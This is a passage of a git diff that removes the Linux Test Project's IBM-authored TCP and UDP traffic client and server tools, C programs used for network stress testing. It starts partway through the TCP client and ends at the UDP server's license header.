"\t-p\tport number\n" - "\t-t\ttimeout [sec]\n" - "\t-b\twork in the background\n" - "\t-w\twork in the window scaling mode\n" - "\t-d\tdisplay debug informations\n" - "\t-h\tdisplay this usage\n", program_name); - exit(exit_value); -} - -/* - * Function: set_signal_flag() - * - * Description: - * This function sets global variables accordig to signal - * - * Argument: - * type: type of signal - * - * Return value: - * None - */ -void set_signal_flag(int type) -{ - if (debug) - fprintf(stderr, "Catch signal. type is %d\n", type); - - switch (type) { - case SIGHUP: - catch_sighup = 1; - handler.sa_handler = SIG_IGN; - if (sigaction(type, &handler, NULL) < 0) - fatal_error("sigaction()"); - break; - - default: - fprintf(stderr, "Unexpected signal (%d) is caught\n", type); - exit(EXIT_FAILURE); - } -} - -/* - * - * Function: main() - * - */ -int main(int argc, char *argv[]) -{ - char *program_name = argv[0]; - int optc; /* option */ - int sock_fd; /* socket descriptor for a connection */ - char *server_name; /* Name (or IP address) of the server */ - sa_family_t family; /* protocol family */ - char *portnum; /* port number in string representation */ - struct addrinfo hints; /* hints for getaddrinfo() */ - struct addrinfo *res; /* pointer to addrinfo structure */ - int err; /* return value of getaddrinfo */ - int on; /* on/off at an socket option */ - int recvbuf_size; /* size of the receive buffer */ - socklen_t sock_optlen; /* size of the result parameter */ - char *recvbuf; /* pointer to the received message */ - ssize_t recvbyte_size; /* size of the receive byte */ - time_t start_time; /* time when the timer is start */ - double timeout = 0.0; /* timeout */ - int background = 0; /* If non-zero work in the background */ - size_t window_scaling = 0; /* if non-zero, in the window scaling mode */ - - debug = 0; - - /* Initilalize the client information */ - family = PF_UNSPEC; - server_name = NULL; - portnum = NULL; - - /* Retrieve the options */ - while ((optc = getopt(argc, argv, "S:f:p:t:bwdh")) != EOF) { - switch (optc) { - case 'S': - server_name = strdup(optarg); - if (server_name == NULL) { - fprintf(stderr, "strdup() failed."); - exit(EXIT_FAILURE); - } - break; - - case 'f': - if (strncmp(optarg, "4", 1) == 0) - family = PF_INET; /* IPv4 */ - else if (strncmp(optarg, "6", 1) == 0) - family = PF_INET6; /* IPv6 */ - else { - fprintf(stderr, - "protocol family should be 4 or 6.\n"); - usage(program_name, EXIT_FAILURE); - } - break; - - case 'p': - { - unsigned long int tmp; - tmp = strtoul(optarg, NULL, 0); - if (tmp < PORTNUMMIN || PORTNUMMAX < tmp) { - fprintf(stderr, - "The range of port is from %u to %u\n", - PORTNUMMIN, PORTNUMMAX); - usage(program_name, EXIT_FAILURE); - } - portnum = strdup(optarg); - } - break; - - case 't': - timeout = strtod(optarg, NULL); - if (timeout < 0) { - fprintf(stderr, - "Timeout value is bigger than 0\n"); - usage(program_name, EXIT_FAILURE); - } - break; - - case 'b': - background = 1; - break; - - case 'w': - window_scaling = 1; - break; - - case 'd': - debug = 1; - break; - - case 'h': - usage(program_name, EXIT_SUCCESS); - break; - - default: - usage(program_name, EXIT_FAILURE); - } - } - - /* Check the server name is specified. */ - if (server_name == NULL) { - fprintf(stderr, "server name isn't specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* Check the family is specified. */ - if (family == PF_UNSPEC) { - fprintf(stderr, "protocol family isn't specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* Check the port number is specified. */ - if (portnum == NULL) { - fprintf(stderr, "port number isn't specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* At first, SIGHUP are Ignored. */ - handler.sa_handler = set_signal_flag; - handler.sa_flags = 0; - if (sigfillset(&handler.sa_mask) < 0) - fatal_error("sigfillset()"); - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* Set the hints to addrinfo() */ - memset(&hints, '\0', sizeof(struct addrinfo)); - hints.ai_family = family; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; - - /* Translate the network and service information of the client */ - err = getaddrinfo(server_name, portnum, &hints, &res); - if (err) { - fprintf(stderr, "getaddrinfo(): %s\n", gai_strerror(err)); - exit(EXIT_FAILURE); - } - if (res->ai_next) { - fprintf(stderr, "getaddrinfo(): multiple address is found."); - exit(EXIT_FAILURE); - } - - /* Create a socket */ - sock_fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); - if (sock_fd < 0) - fatal_error("socket()"); - - /* Enable to reuse the socket */ - on = 1; - if (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(int))) - fatal_error("setsockopt()"); - - /* Maximize socket buffer, when window scaling mode */ - if (window_scaling) - maximize_sockbuf(sock_fd); - - /* Connect to the server */ - if (connect(sock_fd, res->ai_addr, res->ai_addrlen) < 0) - fatal_error("connect()"); - - freeaddrinfo(res); - free(server_name); - - /* If -b option is specified, work as a daemon */ - if (background) - if (daemon(0, 0) < 0) - fatal_error("daemon()"); - - /* Get the size of receive buffer */ - sock_optlen = sizeof(recvbuf_size); - if (getsockopt - (sock_fd, SOL_SOCKET, SO_RCVBUF, &recvbuf_size, &sock_optlen) < 0) - fatal_error("getsockopt()"); - if (debug) - fprintf(stderr, "recvbuf size of socket(%d) is %d\n", sock_fd, - recvbuf_size); - - /* Prepare a buffer to receive bytes */ - recvbuf = malloc(recvbuf_size); - if (recvbuf == NULL) { - fprintf(stderr, "malloc() is failed.\n"); - exit(EXIT_FAILURE); - } - - /* - * Loop for receiving data from the server - */ - start_time = time(NULL); - handler.sa_handler = set_signal_flag; - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - for (;;) { - recvbyte_size = recv(sock_fd, recvbuf, recvbuf_size, 0); - if (recvbyte_size < (ssize_t) 0) { - if (catch_sighup) - break; - else - fatal_error("sendto()"); - } else if (recvbyte_size == (ssize_t) 0) - break; - - /* client timeout */ - if (timeout) - if (timeout < difftime(time(NULL), start_time)) - break; - - /* Catch SIGHUP */ - if (catch_sighup) - break; - } - if (close(sock_fd) < 0) - fatal_error("close()"); - - free(recvbuf); - - if (debug) - fprintf(stderr, "Client is finished without any error\n"); - - exit(EXIT_SUCCESS); -} diff --git a/ltp/testcases/network/stress/ns-tools/ns-tcpserver.c b/ltp/testcases/network/stress/ns-tools/ns-tcpserver.c deleted file mode 100644 index bfbcc0d4..00000000 --- a/ltp/testcases/network/stress/ns-tools/ns-tcpserver.c +++ /dev/null @@ -1,650 +0,0 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) International Business Machines Corp., 2005 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ - -/* - * File: - * ns-tcpserver.c - * - * Description: - * This is TCP traffic server. - * Accept connections from the clients, then send tcp segments to clients - * - * Author: - * Mitsuru Chinen <mitch@jp.ibm.com> - * - * History: - * Oct 19 2005 - Created (Mitsuru Chinen) - *---------------------------------------------------------------------------*/ - -#include "ns-traffic.h" - -/* - * Standard Include Files - */ -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <errno.h> -#include <fcntl.h> -#include <netdb.h> -#include <time.h> -#include <unistd.h> -#include <sys/select.h> -#include <sys/socket.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <sys/wait.h> -#include <netinet/in.h> -#include <netinet/tcp.h> - -/* - * Gloval variables - */ -struct sigaction handler; /* Behavior for a signal */ -int catch_sighup; /* When catch the SIGHUP, set to non-zero */ -int catch_sigpipe; /* When catch the SIGPIPE, set to non-zero */ - -/* - * Structure: server_info - * - * Description: - * This structure stores the information of a server - */ -struct server_info { - sa_family_t family; /* protocol family */ - char *portnum; /* port number */ - int listen_sd; /* socket descriptor for listening */ - int concurrent; /* if non-zero, act as a concurrent server */ - size_t current_connection; /* number of the current connection */ - size_t max_connection; /* maximum connection number */ - size_t lost_connection; /* number of lost connection */ - size_t small_sending; /* if non-zero, in the small sending mode */ - size_t window_scaling; /* if non-zero, in the window scaling mode */ -}; - -/* - * Function: usage() - * - * Descripton: - * Print the usage of this program. Then, terminate this program with - * the specified exit value. - * - * Argument: - * exit_value: exit value - * - * Return value: - * This function does not return. - */ -void usage(char *program_name, int exit_value) -{ - FILE *stream = stdout; /* stream where the usage is output */ - - if (exit_value == EXIT_FAILURE) - stream = stderr; - - fprintf(stream, "%s [OPTION]\n" - "\t-f\tprotocol family\n" - "\t\t 4 : IPv4\n" - "\t\t 6 : IPv6\n" - "\t-p\tport number\n" - "\t-b\twork in the background\n" - "\t-c\twork in the concurrent server mode\n" - "\t-s\twork in the small sending mode\n" - "\t-w\twork in the window scaling mode\n" - "\t-o\tfilename where the server infomation is outputted\n" - "\t-d\twork in the debug mode\n" - "\t-h\tdisplay this usage\n" - "" "*) Server works till it receives SIGHUP\n", program_name); - exit(exit_value); -} - -/* - * Function: set_signal_flag() - * - * Description: - * This function sets global variable according to the signal. - * Once a signal is caught, the signal is ignored after that. - * - * Argument: - * type: type of signal - * - * Return value: - * None - */ -void set_signal_flag(int type) -{ - /* Set SIG_IGN against the caught signal */ - handler.sa_handler = SIG_IGN; - if (sigaction(type, &handler, NULL) < 0) - fatal_error("sigaction()"); - - if (debug) - fprintf(stderr, "Catch signal. type is %d\n", type); - - switch (type) { - case SIGHUP: - catch_sighup = 1; - break; - case SIGPIPE: - catch_sigpipe = 1; - break; - default: - fprintf(stderr, "Unexpected signal (%d) is caught\n", type); - exit(EXIT_FAILURE); - } -} - -/* - * Function: delete_zombies() - * - * Descripton: - * Delete the zombies - * - * Argument: - * info_p: pointer to a server infomation - * - * Return value: - * None - */ -void delete_zombies(struct server_info *info_p) -{ - int status; /* exit value of a child */ - pid_t zombie_pid; /* process id of a zombie */ - - while (info_p->current_connection) { - zombie_pid = waitpid((pid_t) - 1, &status, WNOHANG); - if (zombie_pid == (pid_t) - 1) - fatal_error("waitpid()"); - else if (zombie_pid == (pid_t) 0) - break; - else { - --info_p->current_connection; - if (status != EXIT_SUCCESS) { - ++info_p->lost_connection; - if (debug) - fprintf(stderr, - "The number of lost conncections is %zu\n", - info_p->lost_connection); - } - } - } -} - -/* - * Function: create_listen_socket() - * - * Descripton: - * Create a socket to listen for connections on a socket. - * The socket discripter is stored info_p->listen_sd. - * - * Argument: - * info_p: pointer to a server infomation - * - * Return value: - * None - */ -void create_listen_socket(struct server_info *info_p) -{ - int on; /* on/off at an socket option */ - int err; /* return value of getaddrinfo */ - struct addrinfo hints; /* hints for getaddrinfo() */ - struct addrinfo *res; /* pointer to addrinfo */ - - /* Set the hints to addrinfo() */ - memset(&hints, '\0', sizeof(struct addrinfo)); - hints.ai_family = info_p->family; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; - hints.ai_flags = AI_PASSIVE; - - /* Translate the network and service information of the server */ - err = getaddrinfo(NULL, info_p->portnum, &hints, &res); - if (err) { - fprintf(stderr, "getaddrinfo(): %s\n", gai_strerror(err)); - exit(EXIT_FAILURE); - } - if (res->ai_next) { - fprintf(stderr, "getaddrinfo(): multiple address is found."); - exit(EXIT_FAILURE); - } - - /* Create a socket for listening. */ - info_p->listen_sd = socket(res->ai_family, - res->ai_socktype, res->ai_protocol); - if (info_p->listen_sd < 0) - fatal_error("socket()"); - -#ifdef IPV6_V6ONLY - /* Don't accept IPv4 mapped address if the protocol family is IPv6 */ - if (res->ai_family == PF_INET6) { - on = 1; - if (setsockopt(info_p->listen_sd, - IPPROTO_IPV6, IPV6_V6ONLY, &on, sizeof(int))) - fatal_error("setsockopt()"); - } -#endif - - /* Enable to reuse the socket */ - on = 1; - if (setsockopt(info_p->listen_sd, - SOL_SOCKET, SO_REUSEADDR, &on, sizeof(int))) - fatal_error("setsockopt()"); - - /* Disable the Nagle algorithm, when small sending mode */ - if (info_p->small_sending) { - on = 1; - if (setsockopt(info_p->listen_sd, - IPPROTO_TCP, TCP_NODELAY, &on, sizeof(int))) - fatal_error("setsockopt()"); - if (debug) { - fprintf(stderr, "small sending[on]\n"); - } - } - - /* Maximize socket buffer, when window scaling mode */ - if (info_p->window_scaling) - maximize_sockbuf(info_p->listen_sd); - - /* Bind to the local address */ - if (bind(info_p->listen_sd, res->ai_addr, res->ai_addrlen) < 0) - fatal_error("bind()"); - freeaddrinfo(res); - - /* Start to listen for connections */ - if (listen(info_p->listen_sd, 5) < 0) - fatal_error("listen()"); -} - -/* - * Function: communicate_client() - * - * Descripton: - * Communicate with the connected client. - * Currently, this function sends tcp segment in the specified second - * or recevie SIGHUP - * - * Argument: - * sock_fd: socket descriptor to communicate with client - * info_p: pointer to a server infomation - * - * Return value: - * 0: success - * other: fail - */ -int communicate_client(struct server_info *info_p, int sock_fd) -{ - char *sendmsg; /* pointer to the message to send */ - int sndbuf_size; /* size of the send buffer */ - socklen_t sock_optlen; /* size of the result parameter */ - ssize_t sntbyte_size; /* size of the sent byte */ - int ret = EXIT_SUCCESS; /* The return value of this function */ - - if (info_p->small_sending) { /* small sending mode */ - sndbuf_size = 1; - } else { - sock_optlen = sizeof(sndbuf_size); - if (getsockopt - (sock_fd, SOL_SOCKET, SO_SNDBUF, &sndbuf_size, - &sock_optlen) < 0) { - perror("getsockopt()"); - if (close(sock_fd)) - fatal_error("close()"); - return EXIT_FAILURE; - } - } - if (debug) - fprintf(stderr, "sndbuf size is %d\n", sndbuf_size); - - /* Define the message */ - sendmsg = malloc(sndbuf_size); - if (sendmsg == NULL) { - fprintf(stderr, "malloc() is failed.\n"); - if (close(sock_fd)) - fatal_error("close()"); - return EXIT_FAILURE; - } - - /* Set a signal handler against SIGHUP and SIGPIPE */ - handler.sa_handler = set_signal_flag; - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - if (sigaction(SIGPIPE, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* Send the message */ - for (;;) { - sntbyte_size = send(sock_fd, sendmsg, sndbuf_size, 0); - - /* Catch SIGPIPE */ - if (catch_sigpipe) { - if (debug) - fprintf(stderr, - "The client closed the connection.\n"); - break; - } - - /* Catch SIGHUP */ - if (catch_sighup) - break; - - if (sntbyte_size < (ssize_t) 0) { - if (errno == EPIPE) { - if (debug) - fprintf(stderr, - "The client closed the connection.\n"); - } else { - printf("errno=%d\n", errno); - perror("send()"); - ret = EXIT_FAILURE; - } - break; - } - } - - free(sendmsg); - if (close(sock_fd)) - fatal_error("close()"); - return ret; -} - -/* - * Function: handle_client() - * - * Descripton: - * Accept a connection from a client, then fork to communicate the client - * - * Argument: - * info_p: pointer to a server infomation - * - * Return value: - * 0: success - * other: fail - */ -int handle_client(struct server_info *info_p) -{ - int ret = EXIT_SUCCESS; /* return value of this function */ - int do_accept = 1; /* if non-zero, accept connection */ - fd_set read_fds; /* list of file descriptor for reading */ - int max_read_fd = 0; /* maximum number in the read fds */ - - info_p->current_connection = 0; - FD_ZERO(&read_fds); - FD_SET(info_p->listen_sd, &read_fds); - max_read_fd = info_p->listen_sd; - - /* Catch SIGHUP */ - handler.sa_handler = set_signal_flag; - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* Loop to wait a new connection */ - for (;;) { - if (do_accept) { - int data_sd; /* socket descriptor for send/recv data */ - socklen_t client_addr_len; /* length of `client_addr' */ - struct sockaddr_storage client_addr; /* address of a client */ - int select_ret; /* return value of select() */ - fd_set active_fds; /* list of the active file descriptor */ - struct timeval select_timeout; /* timeout for select() */ - - /* When catch SIGHUP, no more connection is acceptted. */ - if (catch_sighup) { - do_accept = 0; - if (close(info_p->listen_sd)) - fatal_error("close()"); - continue; - } - - /* Check a connection is requested */ - active_fds = read_fds; - select_timeout.tv_sec = 0; /* 0.5 sec */ - select_timeout.tv_usec = 500000; - - select_ret = select(max_read_fd + 1, - &active_fds, NULL, NULL, - &select_timeout); - if (select_ret < 0) { - do_accept = 0; - if (!catch_sighup) { - perror("select()"); - ret = EXIT_FAILURE; - } - if (close(info_p->listen_sd)) - fatal_error("close()"); - continue; - } else if (select_ret == 0) { /* select() is timeout */ - if (info_p->concurrent) - delete_zombies(info_p); - continue; - } - - /* Accetpt a client connection */ - if (FD_ISSET(info_p->listen_sd, &active_fds)) { - client_addr_len = - sizeof(struct sockaddr_storage); - data_sd = - accept(info_p->listen_sd, - (struct sockaddr *)&client_addr, - &client_addr_len); - if (data_sd < 0) { - do_accept = 0; - if (!catch_sighup) { - perror("accept()"); - ret = EXIT_FAILURE; - } - if (close(info_p->listen_sd)) - fatal_error("close()"); - continue; - } - if (debug) - fprintf(stderr, - "called accept(). data_sd=%d\n", - data_sd); - - /* Handle clients */ - if (info_p->concurrent) { /* concurrent server. */ - pid_t child_pid; - child_pid = fork(); - if (child_pid < 0) { /* fork() is failed. */ - perror("fork()"); - if (close(data_sd)) - fatal_error("close()"); - if (close(info_p->listen_sd)) - fatal_error("close()"); - do_accept = 0; - continue; - } else if (child_pid == 0) { /* case of a child */ - int exit_value; - if (close(info_p->listen_sd)) - fatal_error("close()"); - exit_value = - communicate_client(info_p, - data_sd); - if (debug) - fprintf(stderr, - "child(%d) exits. value is %d\n", - getpid(), - exit_value); - exit(exit_value); - } else { /* case of the parent */ - if (close(data_sd)) - fatal_error("close()"); - - ++info_p->current_connection; - if (info_p->max_connection < - info_p-> - current_connection) { - info_p->max_connection = - info_p-> - current_connection; - if (debug) - fprintf(stderr, - "The maximum connection is updated. The number is %zu.\n", - info_p-> - max_connection); - } - delete_zombies(info_p); - } - } else { /* repeat server */ - ret = - communicate_client(info_p, data_sd); - if (ret != EXIT_SUCCESS) - if (close(info_p->listen_sd)) - fatal_error("close()"); - break; - } - } - } else { - /* case where new connection isn't accepted. */ - if (info_p->concurrent) - delete_zombies(info_p); - if (info_p->current_connection == 0) - break; - } - } - return ret; -} - -/* - * - * Function: main() - * - */ -int main(int argc, char *argv[]) -{ - char *program_name = argv[0]; - int optc; /* option */ - struct server_info server; /* server information */ - int ret = EXIT_SUCCESS; /* exit value */ - int background = 0; /* If non-zero work in the background */ - FILE *info_fp = stdout; /* FILE pointer to a information file */ - - debug = 0; - - /* Initilalize the server information */ - memset(&server, '\0', sizeof(struct server_info)); - server.family = PF_UNSPEC; - server.portnum = NULL; - - /* Retrieve the options */ - while ((optc = getopt(argc, argv, "f:p:bcswo:dh")) != EOF) { - switch (optc) { - case 'f': - if (strncmp(optarg, "4", 1) == 0) - server.family = PF_INET; /* IPv4 */ - else if (strncmp(optarg, "6", 1) == 0) - server.family = PF_INET6; /* IPv6 */ - else { - fprintf(stderr, - "protocol family should be 4 or 6.\n"); - usage(program_name, EXIT_FAILURE); - } - break; - - case 'p': - { - unsigned long int num; - num = strtoul(optarg, NULL, 0); - if (num < PORTNUMMIN || PORTNUMMAX < num) { - fprintf(stderr, - "The range of port is from %u to %u\n", - PORTNUMMIN, PORTNUMMAX); - usage(program_name, EXIT_FAILURE); - } - server.portnum = strdup(optarg); - } - break; - - case 'b': - background = 1; - break; - - case 'c': - server.concurrent = 1; - break; - - case 's': - server.small_sending = 1; - break; - - case 'w': - server.window_scaling = 1; - break; - - case 'o': - if ((info_fp = fopen(optarg, "w")) == NULL) { - fprintf(stderr, "Cannot open %s\n", optarg); - exit(EXIT_FAILURE); - } - break; - - case 'd': - debug = 1; - break; - - case 'h': - usage(program_name, EXIT_SUCCESS); - break; - - default: - usage(program_name, EXIT_FAILURE); - } - } - - /* Check the family is spefied. */ - if (server.family == PF_UNSPEC) { - fprintf(stderr, "protocol family should be specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* Check the port number is specfied. */ - if (server.portnum == NULL) { - server.portnum = (char *)calloc(6, sizeof(char)); - sprintf(server.portnum, "%u", PORTNUMMIN); - } - - /* If -b option is specified, work as a daemon */ - if (background) - if (daemon(0, 0) < 0) - fatal_error("daemon()"); - - /* At first, SIGHUP is ignored. default with SIGPIPE */ - handler.sa_handler = SIG_IGN; - if (sigfillset(&handler.sa_mask) < 0) - fatal_error("sigfillset()"); - handler.sa_flags = 0; - - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* Create a listen socket */ - create_listen_socket(&server); - - /* Output any server information to the information file */ - fprintf(info_fp, "PID: %u\n", getpid()); - fflush(info_fp); - if (info_fp != stdout) - if (fclose(info_fp)) - fatal_error("fclose()"); - - /* Handle one or more tcp clients. */ - ret = handle_client(&server); - exit(ret); -} diff --git a/ltp/testcases/network/stress/ns-tools/ns-udpclient.c b/ltp/testcases/network/stress/ns-tools/ns-udpclient.c deleted file mode 100644 index 149a6298..00000000 --- a/ltp/testcases/network/stress/ns-tools/ns-udpclient.c +++ /dev/null @@ -1,346 +0,0 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) International Business Machines Corp., 2005 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ - -/* - * File: - * ns-udpclient.c - * - * Description: - * This is UDP traffic client. - * Send UDP datagram to a server, then receive datagram from it - * - * Author: - * Mitsuru Chinen <mitch@jp.ibm.com> - * - * History: - * Oct 19 2005 - Created (Mitsuru Chinen) - *---------------------------------------------------------------------------*/ - -#include "ns-traffic.h" - -/* - * Fixed value - */ -#define MESSAGE_LEN 1000 /* The length of message */ -#define RECVFROM_TIMEOUT 1 /* Timeout length of recvfrom() */ - -/* - * Gloval variables - */ -struct sigaction handler; /* Behavior for a signal */ -int catch_sigalrm; /* When catch the SIGALRM, set to non-zero */ -int catch_sighup; /* When catch the SIGHUP, set to non-zero */ - -/* - * Standard Header Files - */ -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <errno.h> -#include <fcntl.h> -#include <netdb.h> -#include <time.h> -#include <unistd.h> -#include <sys/socket.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <sys/wait.h> -#include <netinet/in.h> - -/* - * Function: usage() - * - * Descripton: - * Print the usage of this program. Then, terminate this program with - * the specified exit value. - * - * Argument: - * exit_value: exit value - * - * Return value: - * This function does not return. - */ -void usage(char *program_name, int exit_value) -{ - FILE *stream = stdout; /* stream where the usage is output */ - - if (exit_value == EXIT_FAILURE) - stream = stderr; - - fprintf(stream, "%s [OPTION]\n" - "\t-S\tname or IP address of the server\n" - "\t-f\tprotocol family\n" - "\t\t 4 : IPv4\n" - "\t\t 6 : IPv6\n" - "\t-p\tport number\n" - "\t-b\twork in the background\n" - "\t-d\tdisplay debug informations\n" - "\t-h\tdisplay this usage\n", program_name); - exit(exit_value); -} - -/* - * Function: set_signal_flag() - * - * Description: - * This function sets global variables accordig to signal - * - * Argument: - * type: type of signal - * - * Return value: - * None - */ -void set_signal_flag(int type) -{ - if (debug) - fprintf(stderr, "Catch signal. type is %d\n", type); - - switch (type) { - case SIGHUP: - catch_sighup = 1; - handler.sa_handler = SIG_IGN; - if (sigaction(type, &handler, NULL) < 0) - fatal_error("sigaction()"); - break; - - case SIGALRM: - catch_sigalrm = 1; - break; - default: - fprintf(stderr, "Unexpected signal (%d) is caught\n", type); - exit(EXIT_FAILURE); - } -} - -/* - * - * Function: main() - * - */ -int main(int argc, char *argv[]) -{ - char *program_name = argv[0]; - int optc; /* option */ - - sa_family_t family; /* protocol family */ - char *server_name; /* Name (or IP address) of the server */ - char *portnum; /* port number in string representation */ - - int sock_fd; /* socket descriptor to access */ - int on; /* on/off at an socket option */ - - struct addrinfo hints; /* hints for getaddrinfo() */ - struct addrinfo *res; /* pointer to addrinfo structure */ - int err; /* return value of getaddrinfo */ - - char *message; /* Pointer to the message */ - char *recvbuf = NULL; /* Pointer to the message */ - - int background = 0; /* work in the background if non-zero */ - - debug = 0; - - /* Initilalize the client information */ - family = PF_UNSPEC; - server_name = NULL; - portnum = NULL; - - /* Retrieve the options */ - while ((optc = getopt(argc, argv, "S:f:p:bdh")) != EOF) { - switch (optc) { - case 'S': - server_name = strdup(optarg); - if (server_name == NULL) { - fprintf(stderr, "strdup() failed."); - exit(EXIT_FAILURE); - } - break; - - case 'f': - if (strncmp(optarg, "4", 1) == 0) - family = PF_INET; /* IPv4 */ - else if (strncmp(optarg, "6", 1) == 0) - family = PF_INET6; /* IPv6 */ - else { - fprintf(stderr, - "protocol family should be 4 or 6.\n"); - usage(program_name, EXIT_FAILURE); - } - break; - - case 'p': - { - unsigned long int tmp; - tmp = strtoul(optarg, NULL, 0); - if (tmp < PORTNUMMIN || PORTNUMMAX < tmp) { - fprintf(stderr, - "The range of port is from %u to %u\n", - PORTNUMMIN, PORTNUMMAX); - usage(program_name, EXIT_FAILURE); - } - portnum = strdup(optarg); - } - break; - - case 'b': - background = 1; - break; - - case 'd': - debug = 1; - break; - - case 'h': - usage(program_name, EXIT_SUCCESS); - break; - - default: - usage(program_name, EXIT_FAILURE); - } - } - - /* Check the family is specified. */ - if (family == PF_UNSPEC) { - fprintf(stderr, "protocol family isn't specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* Check the server name is specified. */ - if (server_name == NULL) { - fprintf(stderr, "server name isn't specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* Check the port number is specified. */ - if (portnum == NULL) { - fprintf(stderr, "port number isn't specified.\n"); - usage(program_name, EXIT_FAILURE); - } - - /* If -b option is specified, work as a daemon */ - if (background) - if (daemon(0, 0) < 0) - fatal_error("daemon()"); - - /* Set a signal handler against SIGALRM */ - handler.sa_handler = set_signal_flag; - handler.sa_flags = 0; - if (sigfillset(&handler.sa_mask) < 0) - fatal_error("sigfillset()"); - if (sigaction(SIGALRM, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* At first, SIGHUP are Ignored. */ - handler.sa_handler = SIG_IGN; - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - - /* Set the hints to addrinfo() */ - memset(&hints, '\0', sizeof(struct addrinfo)); - hints.ai_family = family; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_protocol = IPPROTO_UDP; - - err = getaddrinfo(server_name, portnum, &hints, &res); - if (err) { - fprintf(stderr, "getaddrinfo(): %s\n", gai_strerror(err)); - exit(EXIT_FAILURE); - } - if (res->ai_next) { - fprintf(stderr, "getaddrinfo(): multiple address is found."); - exit(EXIT_FAILURE); - } - - /* Create a socket */ - sock_fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); - if (sock_fd < 0) - fatal_error("socket()"); - - /* Enable to reuse the socket */ - on = 1; - if (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(int))) - fatal_error("setsockopt()"); - - /* Create a message */ - message = malloc(MESSAGE_LEN); - if (debug) { - strncpy(message, "Hello!", MESSAGE_LEN); - message[MESSAGE_LEN - 1] = '\0'; - } - - /* Prepare the buffer to store the received message */ - recvbuf = malloc(MESSAGE_LEN + 1); - if (recvbuf == NULL) { - fprintf(stderr, "malloc() is failed.\n"); - exit(EXIT_FAILURE); - } - - /* - * Loop for access to the server - */ - handler.sa_handler = set_signal_flag; - if (sigaction(SIGHUP, &handler, NULL) < 0) - fatal_error("sigaction()"); - for (;;) { - int recvlen; /* lenght of recevied message */ - struct sockaddr_storage from_addr; /* address of a client */ - socklen_t from_addr_len; /* length of `client_addr' */ - - /* Send the message to the server */ - if (sendto(sock_fd, message, MESSAGE_LEN, 0, - res->ai_addr, res->ai_addrlen) != MESSAGE_LEN) { - if (catch_sighup) - break; - else - fatal_error("sendto()"); - } - - /* Receive the response from the server */ - from_addr_len = sizeof(from_addr); - alarm(RECVFROM_TIMEOUT); - if ((recvlen = recvfrom(sock_fd, recvbuf, MESSAGE_LEN, 0, - (struct sockaddr *)&from_addr, - &from_addr_len)) < 0) { - if (errno == EINTR) { - if (catch_sighup) { - break; - } else if (catch_sigalrm) { - if (debug) - fprintf(stderr, - "recvfrom() is timeout\n"); - continue; - } - } - fatal_error("recvfrom()"); - } - alarm(0); - recvbuf[recvlen] = '\0'; - if (debug) - fprintf(stderr, "Message is %s\n", recvbuf); - - /* Catch sighup */ - if (catch_sighup) - break; - } - - exit(EXIT_SUCCESS); -} diff --git a/ltp/testcases/network/stress/ns-tools/ns-udpserver.c b/ltp/testcases/network/stress/ns-tools/ns-udpserver.c deleted file mode 100644 index b4bacf61..00000000 --- a/ltp/testcases/network/stress/ns-tools/ns-udpserver.c +++ /dev/null @@ -1,375 +0,0 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) International Business Machines Corp., 2005 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ 